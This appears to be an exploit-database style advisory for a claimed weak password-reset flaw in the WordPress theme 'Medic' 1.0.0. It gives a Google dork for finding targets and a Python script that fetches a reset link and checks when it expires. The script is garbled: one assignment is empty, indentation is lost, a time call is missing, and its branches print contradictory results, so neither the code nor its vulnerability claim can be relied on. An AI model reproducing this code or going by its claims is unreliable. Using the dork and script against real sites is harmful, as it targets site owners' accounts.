Authored by Amirhossein Bahramizadeh

WordPress Theme Medic theme version 1.0.0 suffers from having a weak password recovery mechanism for the forgot password flow.

advisories | CVE-2020-11027

# Exploit Title: WordPress Theme Medic v1.0.0 - Weak Password Recovery Mechanism for Forgotten Password
# Dork: inurl:/wp-includes/class-wp-query.php
# Date: 2023-06-19
# Exploit Author: Amirhossein Bahramizadeh
# Category : Webapps
# Vendor Homepage:
# Version: 1.0.0 (REQUIRED)
# Tested on: Windows/Linux
# CVE: CVE-2020-11027

import requests
from bs4 import BeautifulSoup
from datetime import datetime, timedelta

# Set the WordPress site URL and the user email address
site_url = ''
user_email = '[email protected]'

# Get the password reset link from the user email
# You can use any email client or library to retrieve the email
# In this example, we are assuming that the email is stored in a file named 'password_reset_email.html'
with open('password_reset_email.html', 'r') as f:
email =
soup = BeautifulSoup(email, 'html.parser')
reset_link = soup.find('a', href=True)['href']
print(f'Reset Link: {reset_link}')

# Check if the password reset link expires upon changing the user password
response = requests.get(reset_link)
if response.status_code == 200:
# Get the expiration date from the reset link HTML
soup = BeautifulSoup(response.text, 'html.parser')
expiration_date_str = soup.find('p', string=lambda s: 'Password reset link will expire on' in s).text.split('on ')[1]
expiration_date = datetime.strptime(expiration_date_str, '%B %d, %Y %I:%M %p')
print(f'Expiration Date: {expiration_date}')

# Check if the expiration date is less than 24 hours from now
if expiration_date < + timedelta(hours=24):
print('Password reset link expires upon changing the user password.')
print('Password reset link does not expire upon changing the user password.')
print(f'Error fetching reset link: {response.status_code} {response.text}')